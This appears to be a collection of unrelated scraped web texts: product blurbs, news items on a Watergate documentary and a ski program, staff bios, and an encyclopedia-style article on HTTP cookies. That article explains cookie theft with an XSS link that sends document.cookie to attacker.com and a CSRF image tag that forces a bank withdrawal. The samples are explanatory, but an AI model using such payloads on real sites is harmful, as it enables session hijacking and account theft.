text:
Universal Fit
Noble Audio FR
"Disclaimer The FR is a review sample sent from Noble Audio. The reviewer was compensated in the form of a ridiculously cool and form-fitting Noble Audio shirt. Introduction Despite humans having only a single pair of ears, many an audio enthusiast reading this review likely has more than one pair of headphones or IEMs. I myself am guilty of this. If pressed by family and..." --HideousPride
Noble Audio Kaiser 10 (Universal)
The critically acclaimed Kaiser 10, now available as a handcrafted IEM in Noble's signature universal form factor.
Noble Audio PR
The Noble PR is a universal IEM from Noble Audio that features a switch on each of the allowing the listener to seamlessly toggle between two separate driver configurations each with their own dedicated crossover network. The configurations present in the PR are both reference type configurations intended to present the listener with differing interpretations of what "flat" and "...


text:
WASHINGTON - A fresh look at the Watergate scandal hits TVs this weekend.
Robert Redford produced and co-starred in "All The President's Men" in 1976, and he's executive producer of a new Discovery Channel special called "All The President's Men Revisited".
Speaking on the red carpet before an invitation-only screening Thursday night at the Newseum, Redford said he initially said no to the project.
"I turned it down to begin with. I said, no, leave it alone. I'm not big on sequels or anything like that. Let's just leave it alone, and they pushed hard to say 'well, let's look at it from the standpoint of what it was like then and then maybe the audience can compare it with the way it is today,' and I thought, well, that makes sense."
Redford said the special will take viewers back to the Nixon era.
"We're revisiting that time, that place, those people, which includes the condition of the country including Congress at that time."
The two-hour special includes interviews with Redford, actor Dustin Hoffman and the Washington Post reporters they portrayed in the film, Bob Woodward and Carl Bernstein.
There are also interviews with former Post executive editor Ben Bradlee, The Daily Show host Jon Stewart, NBC News' Tom Brokaw and Nixon speechwriter and actor Ben Stein.
Also on the red carpet, Bob Woodward shared his take on journalism.
"It's the greatest job in the world. You get to make momentary entries into people's lives when they're interesting, and then get out when they cease to be interesting."
But he says today, the media is polarized.
"I think one of the big questions today is what can the media do to provide reliable, non-partisan information that will make viewers, readers, people more inclined to trust what they're reading and seeing rather than to immediately say 'Oh, that has to be B.S.'"
He says the Discovery Channel special is worth checking out.
"This is a real, genuine examination not just of the reporting, but of Nixon. Who was Nixon? That question pulses through all of Watergate. I think it's going to pulse through all of history. Nixon in many ways is his tapes, and on his tapes you see the mindset and the criminal president abusing power."
On the red carpet, Carl Bernstein told WTOP his feelings about Twitter's popularity as a news source.
"It's a witnessing tool at it's best, and at it's worst it's a tool of misinformation and disinformation that's used by people often with a partisan or ideological notion to just throw something out there with very little context. It's used to exaggerate. It's not a contextual tool, so it's got real limitations," he said.
"What I'm concerned about is how young people seem to think that this constitutes news, and rely on it as a source of information as opposed to longer form, better reported, real reported news which is the best obtainable version of the truth," Bernstein added.
"You're not going to get that on Twitter."
All the President's Men Revisited airs at 8 p.m. Sunday on the Discovery Channel.
Read more about the special and see more video clips here.
© 2013 WTOP. All Rights Reserved.

subset: commoncrawl


text:
Dianne Wilkins
Inspired by positive changes and the warmth of the sun.+Read Bio
As a marketing agency in an increasingly digital world, our job is to create extraordinary experiences.
Experiences that bring together creative thinking, smart ideas and emerging
technologies to drive our clients' businesses.
Inspired by positive changes and the warmth of the sun.+Read Bio
Inspired by what's next.+Read Bio
Chief Financial Officer
Inspired by a good biography and the triumph of the underdog.+Read Bio
Inspired by levity, brevity, and a suggestive ellipsis...+Read Bio
SVP, Managing Director, Citi
Inspired by accomplishment through collaboration and community.+Read Bio
SVP, General Manager, Chicago & LA
Inspired by faith, family and fun.+Read Bio
SVP, Marketing Science
Inspired by Queen Elizabeth I.+Read Bio
SVP, General Manager, Latin America
Inspired by great leaps of faith.+Read Bio
We are a mix of artists and athletes and gamers and engineers and craftsmen and neighbors. We are passionate about many things that inspire us to think, shape and create. Want to join our team?+View all Job Openings


text:
Moderator: Mod Squad
Hasn't Adventure Time been around longer than MLP:FIM?Asmodai wrote:I've been seeing that show pop up everywhere... is this the new MLP fad? >.>
Mr. Sefrol wrote:You have the internet. They have loads of places they show vids of it.
Return to Central Compton Botanical Gardens
Users browsing this forum: Hiroko and 13 guests


text:
mouse over photo to zoom click for larger image
Gigi Top
The timeless design of a pure-cotton top, the fab factor of a rib-trimmed neckline that extends to the epaulettes.
- Length: 24".
- 100% cotton.
- Machine wash. Imported.
We're so sorry: this item sold out sooner than expected. For an equally chic substitute, please call our Personal Service Associates at 1.888.855.4986. Or click on Chico's Chat below for immediate assistance.


text:
GRAND JUNCTION, Colo. - Skiing is by nature a social sport; though it's fun making turns on your own now and then, a shared experience lends added enjoyment. That's why Powderhorn Mountain Resort continues to offer its Young at Heart ski program, where groups of skiers, age 50 and up, hit the slopes together every Thursday.
"They have a lot of fun out there," Powderhorn Mountain Resort Spokeswoman Gabrielle Michna said.
Pre-registration is suggested, though participants may sign-in until 8:40 a.m. Thursday mornings. Groups depart at 9 a.m., and they're divided by skill level and guided by Powderhorn's Ski and Ride School. Michna noted that Young at Heart skiers essentially take "personal mini-lessons" throughout the day, though there's more emphasis on having fun than learning since participants are generally seasoned in the sport.
Groups are sized between three and 10 people, depending on the week, and skiing is followed by an apres-ski after-party.
"Everyone typically participates in apres-ski with drinks at the bar," Michna said.
Young at Heart also offers great discounts for the over 50 crowd - lift tickets are only $38 and the apres-ski party is $8.
All group members meet at Powderhorn's guest-service desk before departure.
For more information, call the Ski and Ride Center at 970-268-5700, ext. 2010.
The 17th annual Vertical Ski Challenge, which supports Colorado Discover Ability's (CDA) adaptive-ski programs, is set for Saturday, Feb. 2. Cost is $60 to compete with an all-day lift ticket or $30 for participants who already have a ski pass. A lunch voucher is included in that price.
"The funds raised will support our adaptive ski and snowboard programs for people with disabilities," CDA staffer Ellen Miller said. "The equipment is expensive and not cheap to maintain."
According to CDA, the local group "designs and provides adaptive outdoor recreation to children, adults and veterans with disabilities in the Grand Valley and beyond."
Skiers (including telemark) and snowboarders of all abilities are allowed to participate in groups of four or individually, and they'll compete "for prizes and bragging rights," a CDA news release said.
"The event is designed for families, friends, company teams and skiers/snowboarders of all abilities," Miller added.
Prizes will be awarded in the following categories: Best costume, and the most vertical feet in a variety of classes (adaptive, alpine, telemark, snowboard, oldest and youngest).
A post-race party will also include a silent auction, with a selection of outdoorsy gear donated by Never Summer, Whitewater West, REI, Gene Taylor's, LOKI, Best Buy, and Board and Buckle.
"Major items are a new SL 155 snowboard from Never Summer and two kayaks (a Master TG Lite and a Feather Lite 9.5) from Whitewater West," a CDA news release said.
Folks interesting in registering should contact CDA at 970-257-1222 or visit www.coloradodiscoverability.org. All participants must sign up before 9 a.m. on the day of the event.


text:
"I always get compliments when I wear theses..."
"the shoes were great but took 2 weeks to get them"
"just love looking good in my jordan you got to..."
"I will say the shipping was really fast. I love..."
items: 102050
--Price: lowest firstPrice: highest firstProduct Name: A to ZProduct Name: Z to AIn-stock first Sort by
© 2011-2012 Jordans For Sale. Power By Ujordans,Inc.


text:
HTTP cookie
|Request methods
|Header fields
|Status codes
A cookie, also known as an HTTP cookie, web cookie, Internet cookie, or browser cookie, is a small piece of data sent from a website and stored in a user's web browser while the user is browsing that website. Every time the user loads the website, the browser sends the cookie back to the server to notify the website of the user's previous activity.[1] Cookies were designed to be a reliable mechanism for websites to remember stateful information (such as items in a shopping cart) or to record the user's browsing activity (including clicking particular buttons, logging in, or recording which pages were visited by the user as far back as months or years ago).
Although cookies cannot carry viruses, and cannot install malware on the host computer,[2] tracking cookies and especially third-party tracking cookies are commonly used as ways to compile long-term records of individuals' browsing histories—a potential privacy concern that prompted European[3] and U.S. law makers to take action in 2011.[4][5] Cookies can also store passwords and form content a user has previously entered, such as a credit card number or an address. When a user accesses a website with a cookie function for the first time, a cookie is sent from server to the browser and stored with the browser in the local computer. Later when that user goes back to the same website, the website will recognize the user because of the stored cookie with the user's information.[6]
Other kinds of cookies perform essential functions in the modern web. Perhaps most importantly, authentication cookies are the most common method used by web servers to know whether the user is logged in or not, and which account they are logged in with. Without such a mechanism, the site would not know whether to send a page containing sensitive information, or require the user to authenticate themselves by logging in. The security of an authentication cookie generally depends on the security of the issuing website and the user's web browser, and on whether the cookie data is encrypted. Security vulnerabilities may allow a cookie's data to be read by a hacker, used to gain access to user data, or used to gain access (with the user's credentials) to the website to which the cookie belongs (see cross-site scripting and cross-site request forgery for examples).[7]
- 1 History
- 2 Terminology
- 3 Structure
- 4 Uses
- 5 Implementation
- 6 Browser settings
- 7 Privacy and third-party cookies
- 8 Cookie theft and session hijacking
- 9 Drawbacks of cookies
- 10 Alternatives to cookies
- 11 See also
- 12 References
- 13 External links
The term "cookie" was derived from "magic cookie", which is the packet of data a program receives and sends again unchanged. Magic cookies were already used in computing when computer programmer Lou Montulli had the idea of using them in web communications in June 1994.[8] At the time, he was an employee of Netscape Communications, which was developing an e-commerce application for MCI. Vint Cerf and John Klensin represented MCI in technical discussions with Netscape Communications. Not wanting the MCI servers to have to retain partial transaction states led to MCI's request to Netscape to find a way to store that state in each user's computer. Cookies provided a solution to the problem of reliably implementing a virtual shopping cart.[9][10]
Together with John Giannandrea, Montulli wrote the initial Netscape cookie specification the same year. Version 0.9beta of Mosaic Netscape, released on October 13, 1994,[11][12] supported cookies. The first use of cookies (out of the labs) was checking whether visitors to the Netscape website had already visited the site. Montulli applied for a patent for the cookie technology in 1995, and US 5774670 was granted in 1998. Support for cookies was integrated in Internet Explorer in version 2, released in October 1995.[13]
The introduction of cookies was not widely known to the public at the time. In particular, cookies were accepted by default, and users were not notified of the presence of cookies. The general public learned about them after the Financial Times published an article about them on February 12, 1996.[14] In the same year, cookies received a lot of media attention, especially because of potential privacy implications. Cookies were discussed in two U.S. Federal Trade Commission hearings in 1996 and 1997.
The development of the formal cookie specifications was already ongoing. In particular, the first discussions about a formal specification started in April 1995 on the www-talk mailing list. A special working group within the IETF was formed. Two alternative proposals for introducing state in HTTP transactions had been proposed by Brian Behlendorf and David Kristol respectively, but the group, headed by Kristol himself and Aron Afatsuom, soon decided to use the Netscape specification as a starting point. In February 1996, the working group identified third-party cookies as a considerable privacy threat. The specification produced by the group was eventually published as RFC 2109 in February 1997. It specifies that third-party cookies were either not allowed at all, or at least not enabled by default.
At this time, advertising companies were already using third-party cookies. The recommendation about third-party cookies of RFC 2109 was not followed by Netscape and Internet Explorer. RFC 2109 was superseded by RFC 2965 in October 2000.
A definitive specification for cookies as used in the real world was published as RFC 6265 in April 2011.
|This section needs additional citations for verification. (August 2011)
A session cookie, also known as an in-memory cookie or transient cookie, exists only in temporary memory while the user navigates the website.[15] When an expiry date or validity interval is not set at cookie creation time, a session cookie is created. Web browsers normally delete session cookies when the user closes the browser.[16][17]
A persistent cookie outlasts user sessions.[15] If a persistent cookie has its Max-Age set to one year (for example), then, during that year, the initial value set in that cookie would be sent back to the server every time the user visited the server. This could be used to record a vital piece of information such as how the user initially came to this website. For this reason, persistent cookies are often used as tracking cookies.
A secure cookie has the secure attribute enabled and is only used via HTTPS, ensuring that the cookie is always encrypted when transmitting from client to server. This makes the cookie less likely to be exposed to cookie theft via eavesdropping. In addition to that, all cookies are subject to browser's same-origin policy.[18]
First-party cookies are cookies that belong to the same domain that is shown in the browser's address bar (or that belong to the sub domain of the domain in the address bar). Third-party cookies are cookies that belong to domains different from the one shown in the address bar. Web pages can feature content from third-party domains (such as banner ads), which opens up the potential for tracking the user's browsing history. Privacy setting options in most modern browsers allow the blocking of third-party tracking cookies.
As an example, suppose a user visits
www.example1.com. This web site contains an advert from
ad.foxytracking.com, which, when downloaded, sets a cookie belonging to the advert's domain (
ad.foxytracking.com). Then, the user visits another website,
www.example2.com, which also contains an advert from
ad.foxytracking.com, and which also sets a cookie belonging to that domain (
ad.foxytracking.com). Eventually, both of these cookies will be sent to the advertiser when loading their ads or visiting their website. The advertiser can then use these cookies to build up a browsing history of the user across all the websites that have ads from this advertiser.
As of 2014, some websites were setting cookies readable for over 100 third-party domains.[22] On average, a single website was setting 10 cookies, with maximum number of cookies (first- and third-party) reaching over 800.[23]
A "supercookie" is a cookie with an origin of a Top-Level Domain (such as
.com) or a Public Suffix (such as
.co.uk). It is important that supercookies are blocked by browsers, due to the security holes they introduce. If unblocked, an attacker in control of a malicious website could set a supercookie and potentially disrupt or impersonate legitimate user requests to another website that shares the same Top-Level Domain or Public Suffix as the malicious website. For example, a supercookie with an origin of
.com, could maliciously affect a request made to
example.com, even if the cookie did not originate from
example.com. This can be used to fake logins or change user information.
The Public Suffix List is a cross-vendor initiative to provide an accurate list of domain name suffixes changing. Older versions of browsers may not have the most up-to-date list, and will therefore be vulnerable to supercookies from certain domains.
The term "supercookie" is sometimes used for tracking technologies that do not rely on HTTP cookies. Two such "supercookie" mechanisms were found on Microsoft websites: cookie syncing that respawned MUID (Machine Unique IDentifier) cookies, and ETag cookies.[24] Due to media attention, Microsoft later disabled this code.[25]
Some cookies are automatically recreated after a user has deleted them; these are called zombie cookies. This is accomplished by a script storing the content of the cookie in some other locations, such as the local storage available to Flash content, HTML5 storages and other client-side mechanisms, and then recreating the cookie from backup stores when the cookie's absence is detected.
Browsers are expected to support cookies where each cookie has a size of 4KB, at least 50 cookies per domain, and at least 3000 cookies total.[20] It consists of seven components:[6][26]
- (name, value) pair of the cookie (i.e. name=value)
- Expiry of the cookie
- Path the cookie is good for
- Domain the cookie is good for
- Need for a secure connection to use the cookie
- Whether or not the cookie can be accessed through other means than HTTP (i.e., JavaScript)
The first component (name, value) is required to be explicitly set.
Session management[edit]
Cookies may be used to maintain data related to the user during navigation, possibly across multiple visits. Cookies were introduced to provide a way to implement a "shopping cart" (or "shopping basket"), a virtual device into which users can store items they want to purchase as they navigate throughout the site.[9][10]
Shopping basket applications today usually store the list of basket contents in a database on the server side, rather than storing basket items in the cookie itself. A web server typically sends a cookie containing a unique session identifier. The web browser will send back that session identifier with each subsequent request and shopping basket items are stored associated with a unique session identifier.
Allowing users to log into a website is a frequent use of cookies. Typically the web server will first send a cookie containing a unique session identifier. Users then submit their credentials and the web application authenticates the session and allows the user access to services.
Cookies provide a quick and convenient means of client/server interaction. One of the advantages of cookies lies in the fact that they store the user information locally while identifying users simply based on cookie matching. The server's storage and retrieval load is greatly reduced. As a matter of fact, the possibility of applications is endless—any time personal data need to be saved they can be saved as a cookie (Kington, 1997).[6]
Cookies may be used to remember the information about the user who has visited a website in order to show relevant content in the future. For example a web server might send a cookie containing the username last used to log into a website so that it may be filled in for future visits.
Many websites use cookies for personalization based on users' preferences. Users select their preferences by entering them in a web form and submitting the form to the server. The server encodes the preferences in a cookie and sends the cookie back to the browser. This way, every time the user accesses a page, the server is also sent the cookie where the preferences are stored, and can personalize the page according to the user preferences. For example, the Wikipedia website allows authenticated users to choose the webpage skin they like best; the Google search engine once allowed users (even non-registered ones) to decide how many search results per page they want to see.
Tracking cookies may be used to track internet users' web browsing. This can also be done in part by using the IP address of the computer requesting the page or the referrer field of the HTTP request header, but cookies allow for greater precision. This can be demonstrated as follows:
- If the user requests a page of the site, but the request contains no cookie, the server presumes that this is the first page visited by the user; the server creates a random string and sends it as a cookie back to the browser together with the requested page;
- From this point on, the cookie will automatically be sent by the browser to the server every time a new page from the site is requested; the server sends the page as usual, but also stores the URL of the requested page, the date/time of the request, and the cookie in a log file.
By analyzing the log file collected in the process, it is then possible to find out which pages the user has visited, in what sequence, and for how long.
Cookie specifications[20][27][28] suggest that browsers should be able to save and send back a minimal number of cookies. In particular, a web browser is expected to be able to store at least 3000 cookies of four kilobytes each, and at least 50 cookies per server or domain.
Transfer of Web pages follows the HyperText Transfer Protocol (HTTP). Regardless of cookies, browsers request a page from web servers by sending them a usually short text called 'HTTP request'. For example, to access the page http://www.example.org/index.html, browsers connect to the server www.example.org sending it a request that looks like the following one:
GET /index.html HTTP/1.1
The server replies by sending the requested page preceded by a similar packet of text, called 'HTTP response'. This packet may contain lines requesting the browser to store cookies:
The server sends lines of
Set-Cookie only if the server wishes the browser to store cookies.
Set-Cookie is a directive for the browser to store the cookie and send it back in future requests to the server (subject to expiration time or other cookie attributes), if the browser supports cookies and cookies are enabled. For example, the browser requests the page http://www.example.org/spec.html by sending the server www.example.org a request like the following:
GET /spec.html HTTP/1.1
This is a request for another page from the same server, and differs from the first one above because it contains the string that the server has previously sent to the browser. This way, the server knows that this request is related to the previous one. The server answers by sending the requested page, possibly adding other cookies as well.
The value of a cookie can be modified by the server by sending a new
Set-Cookie: name=newvalue line in response of a page request. The browser then replaces the old value with the new one.
The value of a cookie may consist of any printable ASCII character (
! through
~, unicode
\u0021 through
\u007E) excluding
, and
; and excluding whitespace. The name of the cookie also excludes
= as that is the delimiter between the name and value. The cookie standard RFC2965 is more limiting but not implemented by browsers.
The term "cookie crumb" is sometimes used to refer to the name-value pair.[29] (This is not the same as breadcrumb web navigation, which is the technique of showing in each page the list of pages the user has previously visited; this technique, however, may be implemented using cookies.)
document.cookie is used for this purpose. For example, the instruction
document.cookie = "temperature=20" creates a cookie of name
temperature and value
20.[30] The HttpOnly attribute prevents unauthorized scripts from reading the cookie.
Cookie attributes[edit]
Besides the name–value pair, servers can also set these cookie attributes: a cookie domain, a path, expiration time or maximum age, Secure flag and HttpOnly flag. Browsers will not send cookie attributes back to the server. They will only send the cookie's name-value pair. Cookie attributes are used by browsers to determine when to delete a cookie, block a cookie or whether to send a cookie (name-value pair) to the servers.
Domain and Path[edit]
The cookie domain and path define the scope of the cookie—they tell the browser that cookies should only be sent back to the server for the given domain and path. For obvious security reasons: cookies can only be set on the current object's top domain and its sub domains, and not for another domain and it's sub domains.
If not specified, they default to the domain and path of the object that was requested.[31] However, there is a difference between a cookie set from
foo.com without a domain, and a cookie set with the
foo.com domain. In the former case, the cookie will only be sent for requests to
foo.com. In the latter case, all sub domains are also included.[32][33] An example of Set-Cookie directives from a website after a user logged in, from a request to
Set-Cookie: LSID=DQAAAK…Eaem_vYg; Path=/accounts; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
The first cookie
LSID has no domain attribute and Path
/accounts, which tells the browser to use the cookie only when requesting pages contained in
docs.foo.com/accounts, the domain being derived from the request domain. The other two cookies,
HSID and
SSID, would be sent back by the browser while requesting any subdomain in
.foo.com on any path, for example
www.foo.com/. The prepending dot is optional in recent standards, but can be added for compatibility with RFC 2109 based implementations.[34]
Expires and Max-Age[edit]
The Expires directive tells the browser when to delete the cookie. Derived from the format used in RFC 1123, the date is specified in the form of "Wdy, DD Mon YYYY HH:MM:SS GMT",[35] indicating the exact date/time this cookie will expire. As an alternative to setting cookie expiration as an absolute date/time, RFC 6265 allows the use of the Max-Age attribute to set the cookie's expiration as an interval of seconds in the future, relative to the time the browser received the cookie. An example of Set-Cookie directives from a website after a user logged in:
Set-Cookie: lu=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15-Jan-2013 21:47:38 GMT; Path=/; Domain=.example.com; HttpOnly
The first cookie
lu is set to expire sometime in 15-Jan-2013; it will be used by the client browser until that time. The second cookie
made_write_conn does not have an expiration date, making it a session cookie. It will be deleted after the user closes their browser. The third cookie
reg_fb_gate has its value changed to "deleted", with an expiration time in the past. The browser will delete this cookie right away – note that cookie will only be deleted when the domain and path attributes in the
Set-Cookie field match the values used when the cookie was created.
Secure and HttpOnly[edit]
The Secure and HttpOnly attributes do not have associated values. Rather, the presence of the attribute names indicates that the Secure and HttpOnly behaviors are specified.
The Secure attribute is meant to keep cookie communication limited to encrypted transmission, directing browsers to use cookies only via secure/encrypted connections. If a web server sets a cookie with a secure attribute from a non-secure connection, the cookie can still be intercepted when it is sent to the user by man-in-the-middle attacks.
Browser settings[edit]
Most modern browsers support cookies and allow the user to disable them. The following are common options:[37]
- To enable or disable cookies completely, so that they are always accepted or always blocked.
- Some browsers incorporate a cookie manager for the user to see and selectively delete the cookies currently stored in the browser.
- By default, Internet Explorer allows third-party cookies only if they are accompanied by a P3P "CP" (Compact Policy) field.[38]
Most browsers also allow a full wipe of private data including cookies. Add-on tools for managing cookie permissions also exist.[39][40][41][42]
Cookies have some important implications on the privacy and anonymity of web users. While cookies are sent only to the server setting them or a server in the same Internet domain, a web page may contain images or other components stored on servers in other domains. Cookies that are set during retrieval of these components are called third-party cookies. The older standards for cookies, RFC 2109 and RFC 2965, specify that browsers should protect user privacy and not allow sharing of cookies between servers by default; however, the newer standard, RFC 6265, explicitly allows user agents to implement whichever third-party cookie policy they wish. Most browsers, such as Mozilla Firefox, Internet Explorer, Opera and Google Chrome do allow third-party cookies by default, as long as the third-party website has Compact Privacy Policy published. Newer versions of Safari block third-party cookies, and this is planned for Mozilla Firefox as well (initially planned for version 22 but was postponed indefinitely).[43]
Advertising companies use third-party cookies to track a user across multiple sites. In particular, an advertising company can track a user across all pages where it has placed advertising images or web bugs. Knowledge of the pages visited by a user allows the advertising company to target advertisements to the user's presumed preferences.
Website operators who do not disclose third-party cookie use to consumers run the risk of harming consumer trust if cookie use is discovered. Having clear disclosure (such as in a privacy policy) tends to eliminate any negative effects of such cookie discovery.[44]
The possibility of building a profile of users is a privacy threat, especially when tracking is done across multiple domains using third-party cookies. For this reason, some countries have legislation about cookies.
The United States government has set strict rules on setting cookies in 2000 after it was disclosed that the White House drug policy office used cookies to track computer users viewing its online anti-drug advertising. In 2002, privacy activist Daniel Brandt found that the CIA had been leaving persistent cookies on computers which had visited its website. When notified it was violating policy, CIA stated that these cookies were not intentionally set and stopped setting them.[45] On December 25, 2005, Brandt discovered that the National Security Agency (NSA) had been leaving two persistent cookies on visitors' computers due to a software upgrade. After being informed, the NSA immediately disabled the cookies.[46]
In 2002, the European Union launched the Directive on Privacy and Electronic Communications, a policy requiring end users' consent for the placement of cookies, and similar technologies for storing and accessing information on users' equipment.[47][48] In particular, Article 5 Paragraph 3 mandates that storing data in a user's computer can only be done if the user is provided information about how this data is used, and the user is given the possibility of denying this storing operation.
Directive 95/46/EC defines "the data subject's consent" as: "any freely given specific and informed indication of his wishes by which the data subject signifies his agreement to personal data relating to him being processed".[49] Consent must involve some form of communication where individuals knowingly indicate their acceptance.[48]
In 2009, the policy was amended by Directive 2009/136/EC, which included a change to Article 5, Paragraph 3. Instead of having an option for users to opt out of cookie storage, the revised Directive requires consent to be obtained for cookie storage.[48]
In June 2012, European data protection authorities adopted an opinion which clarifies that some cookie users might be exempt from the requirement to gain consent:
- Some cookies can be exempted from informed consent under certain conditions if they are not used for additional purposes. These cookies include cookies used to keep track of a user's input when filling online forms or as a shopping cart.
- First party analytics cookies are not likely to create a privacy risk if websites provide clear information about the cookies to users and privacy safeguards.[50]
The industry's response has been largely negative. Some viewed the Directive as an infernal doomsday machine that will "kill online sales" and "kill the internet". Robert Bond of the law firm Speechly Bircham describes the effects as "far-reaching and incredibly onerous" for "all UK companies". Simon Davis of Privacy International argues that proper enforcement would "destroy the entire industry".[51]
The P3P specification offers possibility for a server to state a privacy policy using an HTTP header, which specifies which kind of information it collects and for which purpose. These policies include (but are not limited to) the use of information gathered using cookies. According to the P3P specification, a browser can accept or reject cookies by comparing the privacy policy with the stored user preferences or ask the user, presenting them the privacy policy as declared by the server. However, the P3P specification was criticized by web developers for its complexity, only Internet Explorer provides adequate support for the specification, and some websites used incorrect code in their headers (while Facebook, for a period, jokingly used "HONK" as its P3P header).[52]
Third-party cookies can be blocked by most browsers to increase privacy and reduce tracking by advertising and tracking companies without negatively affecting the user's web experience. Many advertising operators have an opt-out option to behavioural advertising, with a generic cookie in the browser stopping behavioural advertising.[52][53]
Cookie theft and session hijacking[edit]
Most websites use cookies as the only identifiers for user sessions, because other methods of identifying web users have limitations and vulnerabilities. If a website uses cookies as session identifiers, attackers can impersonate users' requests by stealing a full set of victims' cookies. From the web server's point of view, a request from an attacker then has the same authentication as the victim's requests; thus the request is performed on behalf of the victim's session.
Listed here are various scenarios of cookie theft and user session hijacking (even without stealing user cookies) which work with websites which rely solely on HTTP cookies for user identification.
Network eavesdropping[edit]
Traffic on a network can be intercepted and read by computers on the network other than the sender and receiver (particularly over unencrypted open Wi-Fi). This traffic includes cookies sent on ordinary unencrypted HTTP sessions. Where network traffic is not encrypted, attackers can therefore read the communications of other users on the network, including HTTP cookies as well as the entire contents of the conversations, for the purpose of a man-in-the-middle attack.
An attacker could use intercepted cookies to impersonate a user and perform a malicious task, such as transferring money out of the victim's bank account.
This issue can be resolved by securing the communication between the user's computer and the server by employing Transport Layer Security (HTTPS protocol) to encrypt the connection. A server can specify the Secure flag while setting a cookie, which will cause the browser to send the cookie only over an encrypted channel, such as an SSL connection.[20]
Publishing false sub-domain – DNS cache poisoning[edit]
Via DNS cache poisoning, an attacker might be able to cause a DNS server to cache a fabricated DNS entry, say
f12345.www.example.com with the attacker's server IP address. The attacker can then post an image URL from his own server (for example,
http://f12345.www.example.com/img_4_cookie.jpg). Victims reading the attacker's message would download this image from
f12345.www.example.com. Since
f12345.www.example.com is a sub-domain of
www.example.com, victims' browsers would submit all
example.com-related cookies to the attacker's server; the compromised cookies would also include HttpOnly cookies.[clarification needed]
This vulnerability is usually for Internet Service Providers to fix, by securing their DNS servers. But it can also be mitigated if
www.example.com is using Secure cookies. Victims' browsers will not submit Secure cookies if the attacker's image is not using encrypted connections. If the attacker chose to use HTTPS for his img_4_cookie.jpg download, he would have the challenge[54] of obtaining an SSL certificate for
f12345.www.example.com from a Certificate Authority. Without a proper SSL certificate, victims' browsers would display (usually very visible) warning messages about the invalid certificate, thus alerting victims as well as security officials from
www.example.com (the latter would require someone to inform the security officials).
Scripting languages such as JavaScript are usually allowed to access cookie values and have some means to send arbitrary values to arbitrary servers on the Internet. These facts are used in combination with sites allowing users to post HTML content that other users can see.
As an example, an attacker may post a message on
www.example.com with the following link:
<a href="#" onclick="window.location='http://attacker.com/stole.cgi?text='+escape(document.cookie); return false;">Click here!</a>
When another user clicks on this link, the browser executes the piece of code within the
onclick attribute, thus replacing the string
document.cookie with the list of cookies of the user that are active for the page. As a result, this list of cookies is sent to the
attacker.com server. If the attacker's posting is on
https://www.example.com/somewhere, secure cookies will also be sent to attacker.com in plain text.
Cross-site scripting is a constant threat, as there are always some crackers trying to find a way of slipping in script tags to websites. It is the responsibility of the website developers to filter out such malicious code.
In the meantime, such attacks can be mitigated by using HttpOnly cookies. These cookies will not be accessible by client-side script, and therefore, the attacker will not be able to gather these cookies.
Cross-site scripting[edit]
If an attacker were able to insert a piece of script to a page on
www.example.com, and a victim's browser were able to execute the script, the script could simply carry out the attack. This attack would use the victim's browser to send HTTP requests to servers directly; therefore, the victim's browser would submit all relevant cookies, including HttpOnly cookies, as well as Secure cookies if the script request is on HTTPS.
This type of attack (with automated scripts) would not work if a website had CAPTCHA to challenge client requests.
Cross-site scripting – proxy request[edit]
In older versions of browsers, there were security holes allowing attackers to script a proxy request by using XMLHttpRequest. For example, a victim is reading an attacker's posting on
www.example.com, and the attacker's script is executed in the victim's browser. The script generates a request to
www.example.com with the proxy server
attacker.com. Since the request is for
www.example.com, all
example.com cookies will be sent along with the request, but routed through the attacker's proxy server, hence, the attacker can harvest the victim's cookies.
This attack would not work for Secure cookie, since Secure cookies go with HTTPS connections, and its protocol dictates end-to-end encryption, i.e., the information is encrypted on the user's browser and decrypted on the destination server
www.example.com, so the proxy servers would only see encrypted bits and bytes.
Cross-site request forgery[edit]
For example, Bob might be browsing a chat forum where another user, Mallory, has posted a message. Suppose that Mallory has crafted an HTML image element that references an action on Bob's bank's website (rather than an image file), e.g.,
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
If Bob's bank keeps his authentication information in a cookie, and if the cookie hasn't expired, then the attempt by Bob's browser to load the image will submit the withdrawal form with his cookie, thus authorizing a transaction without Bob's approval.
Besides privacy concerns, cookies also have some technical drawbacks. In particular, they do not always accurately identify users, they can be used for security attacks, and they are often at odds with the Representational State Transfer (REST) software architectural style.[55][56]
Inaccurate identification[edit]
If more than one browser is used on a computer, each usually has a separate storage area for cookies. Hence cookies do not identify a person, but a combination of a user account, a computer, and a web browser. Thus, anyone who uses multiple accounts, computers, or browsers has multiple sets of cookies.
Likewise, cookies do not differentiate between multiple users who share the same user account, computer, and browser.
Inconsistent state on client and server[edit]
The use of cookies may generate an inconsistency between the state of the client and the state as stored in the cookie. If the user acquires a cookie and then clicks the "Back" button of the browser, the state on the browser is generally not the same as before that acquisition. As an example, if the shopping cart of an online shop is built using cookies, the content of the cart may not change when the user goes back in the browser's history: if the user presses a button to add an item in the shopping cart and then clicks on the "Back" button, the item remains in the shopping cart. This might not be the intention of the user, who possibly wanted to undo the addition of the item. This can lead to unreliability, confusion, and bugs. Web developers should therefore be aware of this issue and implement measures to handle such situations.
Inconsistent support by devices[edit]
The problem with using mobile cookies is that most devices do not implement cookies; for example, Nokia only supports cookies on 60% of its devices, while Motorola only supports cookies on 45% of its phones.[57] In addition, some gateways and networks (Verizon, Alltel, and MetroPCS) strip cookies, while other networks simulate cookies on behalf of their mobile devices. There are also dramatic variations in the wireless markets around the world; for example, in the United Kingdom 94% of the devices support wireless cookies, while in the United States only 47% support them.
The support for cookies is greater in the Far East, where wireless devices are more commonly used to access the web. Mobile cookies is a practice already in place in Japan, so that whether watching a podcast, a video, TV, clicking on a loan calculator or a GPS map—on almost all wireless devices—cookies can be set for tracking and capturing wireless behaviors.[57]
Some of the operations that can be done using cookies can also be done using other mechanisms.
IP address[edit]
Some users may be tracked based on the IP address of the computer requesting the page. The server knows the IP address of the computer running the browser or the proxy, if any is used, and could theoretically link a user's session to this IP address.
IP addresses are, generally, not a reliable way to track a session or identify a user. Many computers designed to be used by a single user, such as office PCs or home PCs, are behind a network address translator (NAT). This means that several PCs will share a public IP address. Furthermore, some systems, such as Tor, are designed to retain Internet anonymity, rendering tracking by IP address impractical, impossible, or a security risk.
URL (query string)[edit]
A more precise technique is based on embedding information into URLs. The query string part of the URL is the one that is typically used for this purpose, but other parts can be used as well. The Java Servlet and PHP session mechanisms both use this method if cookies are not enabled.
This method consists of the web server appending query strings to the links of a web page it holds when sending it to a browser. When the user follows a link, the browser returns the attached query string to the server.
